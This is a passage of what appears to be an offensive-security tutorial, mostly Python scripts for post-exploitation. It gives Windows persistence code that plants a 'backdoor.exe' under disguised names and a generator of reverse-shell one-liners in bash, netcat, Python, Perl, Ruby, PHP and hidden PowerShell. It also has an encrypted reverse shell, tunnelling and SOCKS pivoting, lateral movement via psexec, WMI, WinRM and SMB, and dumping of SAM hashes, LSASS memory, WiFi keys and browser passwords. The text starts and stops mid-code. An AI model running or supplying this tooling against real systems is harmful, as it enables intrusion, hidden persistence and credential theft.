-Arguments $filterArgs\n        \n        $consumerArgs = @{{Name='{name}';\n            CommandLineTemplate='{command}'}}\n        $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\\subscription -Arguments $consumerArgs\n        \n        $bindingArgs = @{{Filter=$filter; Consumer=$consumer}}\n        $binding = Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\\subscription -Arguments $bindingArgs\n        '''\n        \n        try:\n            with open('wmi_temp.ps1', 'w') as f:\n                f.write(filter_cmd)\n                \n            result = subprocess.run(['powershell', '-ExecutionPolicy', 'Bypass', '-File', 'wmi_temp.ps1'],\n                                  capture_output=True, text=True)\n            os.remove('wmi_temp.ps1')\n            \n            print(f\"[+] WMI persistence added\")\n            self.techniques.append(\"wmi\")\n        except Exception as e:\n            print(f\"[-] Failed to add WMI persistence: {e}\")\n    \n    def add_service_persistence(self, service_name, binary_path):\n        \"\"\"Add persistence via Windows service\"\"\"\n        \n        print(\"[*] Adding service persistence...\")\n        \n        cmd = ['sc', 'create', service_name, 'binPath=', binary_path, 'start=', 'auto']\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            if result.returncode == 0:\n                subprocess.run(['sc', 'start', service_name])\n                print(f\"[+] Service {service_name} created and started\")\n                self.techniques.append(\"service\")\n            else:\n                print(f\"[-] Failed to create service: {result.stderr}\")\n        except Exception as e:\n            print(f\"[-] Error: {e}\")\n    \n    def add_dll_hijack(self, target_exe, malicious_dll):\n        \"\"\"Add persistence via DLL hijacking\"\"\"\n        \n        print(\"[*] Setting up DLL hijacking...\")\n        \n        # Common DLL hijacking locations\n        hijack_locations = [\n            os.path.expandvars(r\"%TEMP%\"),\n            os.path.expandvars(r\"%APPDATA%\"),\n            os.path.dirname(target_exe)\n        ]\n        \n        # Common DLL names to hijack\n        dll_names = [\n            \"version.dll\",\n            \"winrnr.dll\",\n            \"wlbsctrl.dll\",\n            \"wbemprox.dll\"\n        ]\n        \n        for location in hijack_locations:\n            for dll_name in dll_names:\n                dest = os.path.join(location, dll_name)\n                try:\n                    if os.path.exists(malicious_dll):\n                        import shutil\n                        shutil.copy2(malicious_dll, dest)\n                        print(f\"[+] DLL placed at {dest}\")\n                        self.techniques.append(\"dll_hijack\")\n                except:\n                    pass\n    \n    def add_schtasks_backdoor(self, task_name, command):\n        \"\"\"Add persistence using schtasks with system privileges\"\"\"\n        \n        print(\"[*] Adding schtasks backdoor...\")\n        \n        # Create task that runs as SYSTEM\n        cmd = [\n            'schtasks', '/create', '/tn', task_name,\n            '/tr', command, '/sc', 'daily', '/st', '00:00',\n            '/ru', 'SYSTEM', '/f'\n        ]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            if result.returncode == 0:\n                print(f\"[+] Task {task_name} created as SYSTEM\")\n                self.techniques.append(\"schtasks_system\")\n        except Exception as e:\n            print(f\"[-] Error: {e}\")\n    \n    def add_logon_scripts(self, script_path):\n        \"\"\"Add persistence via logon scripts\"\"\"\n        \n        print(\"[*] Adding logon script persistence...\")\n        \n        reg_path = r\"Software\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Logon\"\n        \n        try:\n            key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, reg_path)\n            winreg.SetValueEx(key, \"Script\", 0, winreg.REG_SZ, script_path)\n            winreg.CloseKey(key)\n            print(f\"[+] Logon script added\")\n            self.techniques.append(\"logon_script\")\n        except Exception as e:\n            print(f\"[-] Failed to add logon script: {e}\")\n    \n    def list_techniques(self):\n        \"\"\"List all persistence techniques used\"\"\"\n        \n        print(\"\\n[+] Windows Persistence Techniques Applied:\")\n        for technique in self.techniques:\n            print(f\"  \u2022 {technique}\")\n            \n        return self.techniques\n    \n    def cleanup(self):\n        \"\"\"Remove persistence mechanisms\"\"\"\n        \n        print(\"[*] Cleaning up Windows persistence...\")\n        \n        # Remove registry entries\n        # Remove scheduled tasks\n        # Remove services\n        # etc.\n        \n        print(\"[+] Cleanup complete\")\n\n# Example usage\nwin_persist = WindowsPersistence()\n\n# Add various persistence mechanisms\nwin_persist.add_registry_run(\"WindowsUpdate\", \"C:\\\\Windows\\\\Temp\\\\backdoor.exe\")\nwin_persist.add_scheduled_task(\"SystemCheck\", \"C:\\\\Windows\\\\Temp\\\\backdoor.exe\", \"HOURLY\")\nwin_persist.add_service_persistence(\"WindowsDefender\", \"C:\\\\Windows\\\\Temp\\\\backdoor.exe\")\n\nwin_persist.list_techniques()\n```\n\n### 20.2 Reverse Shells\n\nReverse shells connect back from the compromised system to the attacker, bypassing firewalls and NAT.\n\n#### 20.2.1 Reverse Shell Implementations\n\n```python\n#!/usr/bin/env python3\n# reverse_shells.py\n\nimport socket\nimport subprocess\nimport os\nimport sys\nimport threading\nimport time\n\nclass ReverseShellListener:\n    def __init__(self, host='0.0.0.0', port=4444):\n        self.host = host\n        self.port = port\n        self.server = None\n        self.client = None\n        \n    def start_listener(self):\n        \"\"\"Start listening for reverse shell connections\"\"\"\n        \n        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.server.bind((self.host, self.port))\n        self.server.listen(1)\n        \n        print(f\"[*] Listening on {self.host}:{self.port}\")\n        \n        self.client, addr = self.server.accept()\n        print(f\"[+] Connection from {addr}\")\n        \n        # Handle the shell\n        self.handle_shell()\n        \n    def handle_shell(self):\n        \"\"\"Handle interactive reverse shell\"\"\"\n        \n        def send_commands():\n            while True:\n                cmd = input()\n                self.client.send(cmd.encode() + b'\\n')\n                \n        def receive_output():\n            while True:\n                try:\n                    data = self.client.recv(4096)\n                    if not data:\n                        break\n                    print(data.decode(), end='', flush=True)\n                except:\n                    break\n                    \n        # Start threads for I/O\n        send_thread = threading.Thread(target=send_commands)\n        recv_thread = threading.Thread(target=receive_output)\n        \n        send_thread.daemon = True\n        recv_thread.daemon = True\n        \n        send_thread.start()\n        recv_thread.start()\n        \n        # Wait for connection to close\n        recv_thread.join()\n        \n    def close(self):\n        \"\"\"Close connections\"\"\"\n        if self.client:\n            self.client.close()\n        if self.server:\n            self.server.close()\n\nclass ReverseShellPayloads:\n    def __init__(self, lhost, lport):\n        self.lhost = lhost\n        self.lport = lport\n        \n    def bash_payload(self):\n        \"\"\"Bash reverse shell\"\"\"\n        \n        payload = f\"bash -i &gt;&amp; /dev/tcp/{self.lhost}/{self.lport} 0&gt;&amp;1\"\n        return payload\n    \n    def python_payload(self):\n        \"\"\"Python reverse shell\"\"\"\n        \n        payload = f'''python3 -c '\nimport socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((\"{self.lhost}\",{self.lport}))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\nsubprocess.call([\"/bin/sh\",\"-i\"])\n' '''\n        return payload\n    \n    def php_payload(self):\n        \"\"\"PHP reverse shell\"\"\"\n        \n        payload = f'''php -r '$sock=fsockopen(\"{self.lhost}\",{self.lport});exec(\"/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");' '''\n        return payload\n    \n    def nc_payload(self):\n        \"\"\"Netcat reverse shell\"\"\"\n        \n        payload = f\"nc -e /bin/sh {self.lhost} {self.lport}\"\n        return payload\n    \n    def nc_mkfifo_payload(self):\n        \"\"\"Netcat with mkfifo (for systems without -e)\"\"\"\n        \n        payload = f\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc {self.lhost} {self.lport} &gt;/tmp/f\"\n        return payload\n    \n    def perl_payload(self):\n        \"\"\"Perl reverse shell\"\"\"\n        \n        payload = f'''perl -e 'use Socket;$i=\"{self.lhost}\";$p={self.lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\"&gt;&amp;S\");open(STDOUT,\"&gt;&amp;S\");open(STDERR,\"&gt;&amp;S\");exec(\"/bin/sh -i\");}};' '''\n        return payload\n    \n    def ruby_payload(self):\n        \"\"\"Ruby reverse shell\"\"\"\n        \n        payload = f'''ruby -rsocket -e'f=TCPSocket.open(\"{self.lhost}\",{self.lport}).to_i;exec sprintf(\"/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d\",f,f,f)' '''\n        return payload\n    \n    def powershell_payload(self):\n        \"\"\"PowerShell reverse shell\"\"\"\n        \n        payload = f'''powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"&amp; {{$client = New-Object System.Net.Sockets.TCPClient('{self.lhost}',{self.lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '&gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()}}\" '''\n        return payload\n    \n    def java_payload(self):\n        \"\"\"Java reverse shell\"\"\"\n        \n        payload = f'''java -jar /tmp/shell.jar {self.lhost} {self.lport}'''\n        # This would require a compiled Java class\n        return payload\n    \n    def all_payloads(self):\n        \"\"\"Return all payloads\"\"\"\n        \n        return {\n            'bash': self.bash_payload(),\n            'python': self.python_payload(),\n            'php': self.php_payload(),\n            'netcat': self.nc_payload(),\n            'netcat_mkfifo': self.nc_mkfifo_payload(),\n            'perl': self.perl_payload(),\n            'ruby': self.ruby_payload(),\n            'powershell': self.powershell_payload()\n        }\n\n# Example usage\nif __name__ == \"__main__\":\n    if len(sys.argv) &gt; 1 and sys.argv[1] == \"listen\":\n        # Start listener\n        listener = ReverseShellListener(port=4444)\n        listener.start_listener()\n    else:\n        # Generate payloads\n        payloads = ReverseShellPayloads(\"192.168.1.100\", 4444)\n        \n        print(\"[+] Reverse Shell Payloads:\")\n        for name, payload in payloads.all_payloads().items():\n            print(f\"\\n--- {name.upper()} ---\")\n            print(payload)\n```\n\n#### 20.2.2 Encrypted Reverse Shells\n\n```python\n#!/usr/bin/env python3\n# encrypted_shell.py\n\nimport socket\nimport subprocess\nimport os\nimport ssl\nimport base64\nimport threading\n\nclass EncryptedReverseShell:\n    def __init__(self, lhost, lport, use_ssl=True):\n        self.lhost = lhost\n        self.lport = lport\n        self.use_ssl = use_ssl\n        \n    def create_ssl_context(self):\n        \"\"\"Create SSL context\"\"\"\n        \n        context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)\n        context.check_hostname = False\n        context.verify_mode = ssl.CERT_NONE\n        return context\n    \n    def connect(self):\n        \"\"\"Establish encrypted connection\"\"\"\n        \n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        \n        if self.use_ssl:\n            context = self.create_ssl_context()\n            self.sock = context.wrap_socket(sock, server_hostname=self.lhost)\n        else:\n            self.sock = sock\n            \n        self.sock.connect((self.lhost, self.lport))\n        \n    def execute(self):\n        \"\"\"Execute shell commands and return output\"\"\"\n        \n        while True:\n            try:\n                # Receive command\n                command = self.sock.recv(4096).decode()\n                if command.lower() == 'exit':\n                    break\n                    \n                # Execute command\n                if command.startswith('cd '):\n                    os.chdir(command[3:].strip())\n                    result = f\"Changed directory to {os.getcwd()}\"\n                else:\n                    result = subprocess.run(command, shell=True,\n                                          capture_output=True, text=True)\n                    result = result.stdout + result.stderr\n                    \n                # Send result\n                if not result:\n                    result = \"Command executed successfully (no output)\"\n                    \n                self.sock.send(result.encode())\n                \n            except Exception as e:\n                self.sock.send(str(e).encode())\n                \n        self.sock.close()\n        \n    def run(self):\n        \"\"\"Main loop with reconnection logic\"\"\"\n        \n        while True:\n            try:\n                self.connect()\n                self.execute()\n            except Exception as e:\n                print(f\"Connection lost: {e}\")\n                time.sleep(5)  # Wait before reconnecting\n\nclass EncryptedShellServer:\n    def __init__(self, port=4444, cert_file='server.crt', key_file='server.key'):\n        self.port = port\n        self.cert_file = cert_file\n        self.key_file = key_file\n        \n    def create_ssl_context(self):\n        \"\"\"Create SSL server context\"\"\"\n        \n        context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)\n        context.load_cert_chain(self.cert_file, self.key_file)\n        return context\n    \n    def start(self):\n        \"\"\"Start encrypted shell server\"\"\"\n        \n        context = self.create_ssl_context()\n        \n        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server_socket.bind(('0.0.0.0', self.port))\n        server_socket.listen(5)\n        \n        print(f\"[*] Encrypted shell server listening on port {self.port}\")\n        \n        while True:\n            client_socket, addr = server_socket.accept()\n            print(f\"[+] Connection from {addr}\")\n            \n            ssl_client = context.wrap_socket(client_socket, server_side=True)\n            \n            # Handle client in new thread\n            thread = threading.Thread(target=self.handle_client, args=(ssl_client,))\n            thread.start()\n            \n    def handle_client(self, client_socket):\n        \"\"\"Handle client connection\"\"\"\n        \n        while True:\n            try:\n                # Send command\n                cmd = input(f\"shell&gt; \")\n                client_socket.send(cmd.encode())\n                \n                if cmd.lower() == 'exit':\n                    break\n                    \n                # Receive output\n                output = client_socket.recv(8192).decode()\n                print(output)\n                \n            except Exception as e:\n                print(f\"Error: {e}\")\n                break\n                \n        client_socket.close()\n\n# Example usage\n# Server: encrypted_server = EncryptedShellServer()\n# Client: encrypted_shell = EncryptedReverseShell(\"192.168.1.100\", 4444)\n```\n\n### 20.3 Pivoting &amp; Tunneling\n\nPivoting allows attackers to move through networks by using compromised systems as jump points.\n\n#### 20.3.1 Port Forwarding and Tunneling\n\n```python\n#!/usr/bin/env python3\n# pivoting.py\n\nimport socket\nimport threading\nimport select\nimport subprocess\nimport paramiko\nimport time\n\nclass PortForwarder:\n    def __init__(self, local_port, remote_host, remote_port):\n        self.local_port = local_port\n        self.remote_host = remote_host\n        self.remote_port = remote_port\n        self.running = False\n        \n    def handle_client(self, client_socket):\n        \"\"\"Handle client connection by forwarding to remote\"\"\"\n        \n        # Connect to remote host\n        remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        try:\n            remote_socket.connect((self.remote_host, self.remote_port))\n        except Exception as e:\n            client_socket.close()\n            return\n            \n        # Forward data bidirectionally\n        sockets = [client_socket, remote_socket]\n        \n        while self.running:\n            try:\n                readable, _, _ = select.select(sockets, [], [], 1)\n                \n                for sock in readable:\n                    data = sock.recv(4096)\n                    if not data:\n                        return\n                        \n                    if sock is client_socket:\n                        remote_socket.send(data)\n                    else:\n                        client_socket.send(data)\n                        \n            except:\n                break\n                \n        client_socket.close()\n        remote_socket.close()\n        \n    def start(self):\n        \"\"\"Start port forwarding server\"\"\"\n        \n        self.running = True\n        \n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server.bind(('0.0.0.0', self.local_port))\n        server.listen(5)\n        \n        print(f\"[*] Port forwarding: 0.0.0.0:{self.local_port} -&gt; {self.remote_host}:{self.remote_port}\")\n        \n        while self.running:\n            try:\n                client, addr = server.accept()\n                print(f\"[+] Connection from {addr}\")\n                \n                thread = threading.Thread(target=self.handle_client, args=(client,))\n                thread.daemon = True\n                thread.start()\n                \n            except:\n                pass\n                \n        server.close()\n        \n    def stop(self):\n        \"\"\"Stop forwarding server\"\"\"\n        self.running = False\n\nclass SSHTunnel:\n    def __init__(self, ssh_host, ssh_port, ssh_user, ssh_password):\n        self.ssh_host = ssh_host\n        self.ssh_port = ssh_port\n        self.ssh_user = ssh_user\n        self.ssh_password = ssh_password\n        self.client = None\n        \n    def connect(self):\n        \"\"\"Establish SSH connection\"\"\"\n        \n        self.client = paramiko.SSHClient()\n        self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n        \n        try:\n            self.client.connect(\n                self.ssh_host,\n                port=self.ssh_port,\n                username=self.ssh_user,\n                password=self.ssh_password\n            )\n            print(f\"[+] SSH connection established to {self.ssh_host}\")\n            return True\n        except Exception as e:\n            print(f\"[-] SSH connection failed: {e}\")\n            return False\n            \n    def create_local_forward(self, local_port, remote_host, remote_port):\n        \"\"\"Create local port forward\"\"\"\n        \n        if not self.client:\n            return False\n            \n        transport = self.client.get_transport()\n        transport.request_port_forward('', local_port)\n        \n        def forward_handler():\n            while True:\n                chan = transport.accept(1)\n                if chan is None:\n                    continue\n                    \n                # Connect to remote\n                sock = socket.socket()\n                try:\n                    sock.connect((remote_host, remote_port))\n                    \n                    # Forward data\n                    while True:\n                        r, w, e = select.select([sock, chan], [], [])\n                        if sock in r:\n                            data = sock.recv(1024)\n                            if len(data) == 0:\n                                break\n                            chan.send(data)\n                        if chan in r:\n                            data = chan.recv(1024)\n                            if len(data) == 0:\n                                break\n                            sock.send(data)\n                except:\n                    pass\n                    \n                chan.close()\n                sock.close()\n                \n        thread = threading.Thread(target=forward_handler)\n        thread.daemon = True\n        thread.start()\n        \n        print(f\"[+] Local forward: localhost:{local_port} -&gt; {remote_host}:{remote_port}\")\n        return True\n        \n    def create_remote_forward(self, remote_port, local_host, local_port):\n        \"\"\"Create remote port forward\"\"\"\n        \n        if not self.client:\n            return False\n            \n        transport = self.client.get_transport()\n        transport.request_port_forward('', remote_port)\n        \n        def forward_handler():\n            while True:\n                chan = transport.accept(1)\n                if chan is None:\n                    continue\n                    \n                # Connect to local\n                sock = socket.socket()\n                try:\n                    sock.connect((local_host, local_port))\n                    \n                    # Forward data\n                    while True:\n                        r, w, e = select.select([sock, chan], [], [])\n                        if sock in r:\n                            data = sock.recv(1024)\n                            if len(data) == 0:\n                                break\n                            chan.send(data)\n                        if chan in r:\n                            data = chan.recv(1024)\n                            if len(data) == 0:\n                                break\n                            sock.send(data)\n                except:\n                    pass\n                    \n                chan.close()\n                sock.close()\n                \n        thread = threading.Thread(target=forward_handler)\n        thread.daemon = True\n        thread.start()\n        \n        print(f\"[+] Remote forward: {self.ssh_host}:{remote_port} -&gt; {local_host}:{local_port}\")\n        return True\n        \n    def close(self):\n        \"\"\"Close SSH connection\"\"\"\n        if self.client:\n            self.client.close()\n\nclass SOCKSProxy:\n    def __init__(self, local_port=1080):\n        self.local_port = local_port\n        self.running = False\n        \n    def handle_socks_client(self, client_socket):\n        \"\"\"Handle SOCKS5 client\"\"\"\n        \n        try:\n            # Receive greeting\n            greeting = client_socket.recv(2)\n            if greeting[0] != 5:  # SOCKS5\n                return\n                \n            # Send auth method response\n            client_socket.send(b'\\x05\\x00')\n            \n            # Receive request\n            request = client_socket.recv(4)\n            if request[0] != 5:\n                return\n                \n            # Parse address type\n            addr_type = request[3]\n            \n            if addr_type == 1:  # IPv4\n                host = socket.inet_ntoa(client_socket.recv(4))\n                port = int.from_bytes(client_socket.recv(2), 'big')\n            elif addr_type == 3:  # Domain name\n                addr_len = int.from_bytes(client_socket.recv(1), 'big')\n                host = client_socket.recv(addr_len).decode()\n                port = int.from_bytes(client_socket.recv(2), 'big')\n            else:\n                return\n                \n            # Connect to target\n            remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            remote.connect((host, port))\n            \n            # Send success response\n            response = b'\\x05\\x00\\x00\\x01' + socket.inet_aton('0.0.0.0') + b'\\x00\\x00'\n            client_socket.send(response)\n            \n            # Forward data\n            sockets = [client_socket, remote]\n            \n            while self.running:\n                readable, _, _ = select.select(sockets, [], [], 1)\n                \n                for sock in readable:\n                    data = sock.recv(4096)\n                    if not data:\n                        return\n                        \n                    if sock is client_socket:\n                        remote.send(data)\n                    else:\n                        client_socket.send(data)\n                        \n        except:\n            pass\n        finally:\n            client_socket.close()\n            remote.close()\n            \n    def start(self):\n        \"\"\"Start SOCKS proxy server\"\"\"\n        \n        self.running = True\n        \n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server.bind(('0.0.0.0', self.local_port))\n        server.listen(5)\n        \n        print(f\"[*] SOCKS5 proxy listening on port {self.local_port}\")\n        \n        while self.running:\n            try:\n                client, addr = server.accept()\n                thread = threading.Thread(target=self.handle_socks_client, args=(client,))\n                thread.daemon = True\n                thread.start()\n            except:\n                pass\n                \n        server.close()\n        \n    def stop(self):\n        \"\"\"Stop SOCKS proxy\"\"\"\n        self.running = False\n\n# Example usage\nif __name__ == \"__main__\":\n    # Port forwarding\n    # forwarder = PortForwarder(8080, \"192.168.1.100\", 80)\n    # forwarder.start()\n    \n    # SOCKS proxy\n    proxy = SOCKSProxy(1080)\n    proxy.start()\n```\n\n### 20.4 Lateral Movement\n\nLateral movement involves moving from a compromised system to other systems within the network.\n\n#### 20.4.1 Lateral Movement Techniques\n\n```python\n#!/usr/bin/env python3\n# lateral_movement.py\n\nimport subprocess\nimport socket\nimport paramiko\nimport winrm\nfrom impacket.smbconnection import SMBConnection\n\nclass LateralMovement:\n    def __init__(self, username, password, domain=None):\n        self.username = username\n        self.password = password\n        self.domain = domain\n        \n    def psexec_windows(self, target, command):\n        \"\"\"Execute command on remote Windows using psexec\"\"\"\n        \n        try:\n            from impacket.dcerpc.v5 import transport\n            from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n            from impacket.examples.secretsdump import RemoteOperations\n            from impacket.examples.psexec import PSEXEC\n            \n            # Using impacket's psexec\n            cmd = ['psexec.py', f'{self.domain}\\\\{self.username}:{self.password}@{target}', command]\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except Exception as e:\n            print(f\"[-] psexec failed: {e}\")\n            return None\n    \n    def wmi_exec_windows(self, target, command):\n        \"\"\"Execute command via WMI\"\"\"\n        \n        try:\n            import wmi\n            \n            connection = wmi.WMI(target, user=self.username, password=self.password)\n            process = connection.Win32_Process.Create(CommandLine=command)\n            return process\n        except Exception as e:\n            print(f\"[-] WMI execution failed: {e}\")\n            return None\n    \n    def winrm_exec(self, target, command):\n        \"\"\"Execute command via WinRM\"\"\"\n        \n        try:\n            session = winrm.Session(target, auth=(self.username, self.password))\n            result = session.run_cmd(command)\n            return result.std_out.decode()\n        except Exception as e:\n            print(f\"[-] WinRM execution failed: {e}\")\n            return None\n    \n    def ssh_exec_linux(self, target, command):\n        \"\"\"Execute command via SSH on Linux\"\"\"\n        \n        try:\n            client = paramiko.SSHClient()\n            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n            client.connect(target, username=self.username, password=self.password)\n            \n            stdin, stdout, stderr = client.exec_command(command)\n            output = stdout.read().decode()\n            error = stderr.read().decode()\n            client.close()\n            \n            return output + error\n        except Exception as e:\n            print(f\"[-] SSH execution failed: {e}\")\n            return None\n    \n    def smb_exec(self, target, command):\n        \"\"\"Execute command via SMB (using scheduled tasks)\"\"\"\n        \n        try:\n            conn = SMBConnection(target, target, timeout=5)\n            conn.login(self.username, self.password, self.domain)\n            \n            # Create scheduled task via SMB\n            task_name = \"UpdateTask\"\n            task_xml = f'''\n\n  \n    \n      true\n    \n  \n  \n    \n      SYSTEM\n      HighestAvailable\n    \n  \n  \n    true\n  \n  \n    \n      {command}\n    \n  \n'''\n            \n            # Upload task XML\n            conn.putFile('ADMIN$', f'\\\\Tasks\\\\{task_name}', task_xml.encode())\n            \n            # Trigger task\n            # This would use schtasks remotely\n            conn.close()\n            \n            return True\n        except Exception as e:\n            print(f\"[-] SMB execution failed: {e}\")\n            return False\n    \n    def copy_file(self, source, target, destination):\n        \"\"\"Copy file to remote system\"\"\"\n        \n        try:\n            # Using SMB for Windows\n            conn = SMBConnection(target, target, timeout=5)\n            conn.login(self.username, self.password, self.domain)\n            \n            with open(source, 'rb') as f:\n                data = f.read()\n                \n            conn.putFile('ADMIN$', f'\\\\System32\\\\{os.path.basename(destination)}', data)\n            conn.close()\n            \n            print(f\"[+] File copied to {target}:{destination}\")\n            return True\n        except Exception as e:\n            print(f\"[-] File copy failed: {e}\")\n            return False\n    \n    def get_remote_file(self, target, remote_file, local_file):\n        \"\"\"Retrieve file from remote system\"\"\"\n        \n        try:\n            conn = SMBConnection(target, target, timeout=5)\n            conn.login(self.username, self.password, self.domain)\n            \n            # Find file share\n            shares = conn.listShares()\n            for share in shares:\n                share_name = share['shi1_netname'][:-1]\n                try:\n                    conn.getFile(share_name, remote_file, open(local_file, 'wb'))\n                    print(f\"[+] File retrieved: {local_file}\")\n                    conn.close()\n                    return True\n                except:\n                    pass\n                    \n            conn.close()\n        except Exception as e:\n            print(f\"[-] File retrieval failed: {e}\")\n            \n        return False\n    \n    def enumerate_network(self, target_ip, subnet_mask='24'):\n        \"\"\"Enumerate network for lateral movement targets\"\"\"\n        \n        from ipaddress import ip_network, ip_address\n        \n        network = ip_network(f\"{target_ip}/{subnet_mask}\", strict=False)\n        live_hosts = []\n        \n        print(f\"[*] Enumerating network {network}\")\n        \n        for ip in network.hosts():\n            try:\n                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                sock.settimeout(0.5)\n                result = sock.connect_ex((str(ip), 445))  # SMB port\n                if result == 0:\n                    print(f\"[+] Found host: {ip} (SMB open)\")\n                    live_hosts.append(str(ip))\n                sock.close()\n            except:\n                pass\n                \n        return live_hosts\n    \n    def check_credentials(self, target):\n        \"\"\"Test credentials on remote host\"\"\"\n        \n        # Try SMB first\n        try:\n            conn = SMBConnection(target, target, timeout=5)\n            conn.login(self.username, self.password, self.domain)\n            conn.logoff()\n            print(f\"[+] Credentials work on {target} (SMB)\")\n            return True\n        except:\n            pass\n            \n        # Try SSH for Linux\n        try:\n            client = paramiko.SSHClient()\n            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n            client.connect(target, username=self.username, password=self.password, timeout=5)\n            client.close()\n            print(f\"[+] Credentials work on {target} (SSH)\")\n            return True\n        except:\n            pass\n            \n        return False\n\n# Example usage\nlateral = LateralMovement(\"administrator\", \"P@ssw0rd\", \"DOMAIN\")\n\n# Check for live hosts\nhosts = lateral.enumerate_network(\"192.168.1.100\")\n\n# Test credentials on discovered hosts\nfor host in hosts:\n    if lateral.check_credentials(host):\n        # Execute command\n        output = lateral.psexec_windows(host, \"whoami\")\n        print(f\"Output from {host}: {output}\")\n```\n\n### 20.5 Credential Dumping\n\nCredential dumping extracts authentication credentials from compromised systems.\n\n#### 20.5.1 Credential Dumping Techniques\n\n```python\n#!/usr/bin/env python3\n# credential_dumping.py\n\nimport subprocess\nimport os\nimport sqlite3\nimport json\nimport base64\nimport winreg\n\nclass CredentialDumper:\n    def __init__(self):\n        self.credentials = {}\n        \n    def dump_windows_hashes(self):\n        \"\"\"Dump Windows password hashes (requires SYSTEM privileges)\"\"\"\n        \n        print(\"[*] Dumping Windows hashes...\")\n        \n        try:\n            # Using reg.exe to save SAM hive\n            subprocess.run(['reg', 'save', 'HKLM\\\\SAM', 'sam.save'], capture_output=True)\n            subprocess.run(['reg', 'save', 'HKLM\\\\SYSTEM', 'system.save'], capture_output=True)\n            \n            print(\"[+] SAM and SYSTEM hives saved\")\n            \n            # Use secretsdump.py to extract hashes\n            cmd = ['secretsdump.py', '-sam', 'sam.save', '-system', 'system.save', 'LOCAL']\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            hashes = []\n            for line in result.stdout.split('\\n'):\n                if ':': in line and ':::' in line:\n                    hashes.append(line.strip())\n                    \n            self.credentials['windows_hashes'] = hashes\n            return hashes\n            \n        except Exception as e:\n            print(f\"[-] Hash dumping failed: {e}\")\n            return None\n    \n    def dump_lsass(self):\n        \"\"\"Dump LSASS process memory (Windows)\"\"\"\n        \n        print(\"[*] Dumping LSASS memory...\")\n        \n        try:\n            # Find LSASS PID\n            result = subprocess.run(['tasklist', '/fi', 'imagename eq lsass.exe'],\n                                  capture_output=True, text=True)\n            \n            for line in result.stdout.split('\\n'):\n                if 'lsass.exe' in line:\n                    pid = line.split()[1]\n                    break\n            else:\n                print(\"[-] Could not find LSASS PID\")\n                return None\n                \n            # Dump using procdump or comsvcs\n            cmd = ['procdump.exe', '-accepteula', '-ma', pid, 'lsass.dmp']\n            subprocess.run(cmd)\n            \n            print(f\"[+] LSASS dump saved to lsass.dmp\")\n            self.credentials['lsass_dump'] = 'lsass.dmp'\n            return 'lsass.dmp'\n            \n        except Exception as e:\n            print(f\"[-] LSASS dumping failed: {e}\")\n            return None\n    \n    def dump_wifi_passwords(self):\n        \"\"\"Dump saved WiFi passwords (Windows)\"\"\"\n        \n        print(\"[*] Dumping WiFi passwords...\")\n        \n        try:\n            result = subprocess.run(['netsh', 'wlan', 'show', 'profiles'],\n                                  capture_output=True, text=True)\n            \n            wifi_profiles = []\n            for line in result.stdout.split('\\n'):\n                if 'All User Profile' in line:\n                    profile = line.split(':')[1].strip()\n                    wifi_profiles.append(profile)\n                    \n            wifi_creds = []\n            for profile in wifi_profiles:\n                cmd = ['netsh', 'wlan', 'show', 'profile', f'name={profile}', 'key=clear']\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                \n                for line in result.stdout.split('\\n'):\n                    if 'Key Content' in line:\n                        password = line.split(':')[1].strip()\n                        wifi_creds.append({'ssid': profile, 'password': password})\n                        \n            self.credentials['wifi'] = wifi_creds\n            return wifi_creds\n            \n        except Exception as e:\n            print(f\"[-] WiFi dumping failed: {e}\")\n            return None\n    \n    def dump_chrome_passwords(self):\n        \"\"\"Dump Chrome saved passwords\"\"\"\n        \n        print(\"[*] Dumping Chrome passwords...\")\n        \n        chrome_path = os.path.expanduser(\"~/.config/google-chrome/Default/Login Data\")\n        \n        if not os.path.exists(chrome_path):\n            chrome_path = 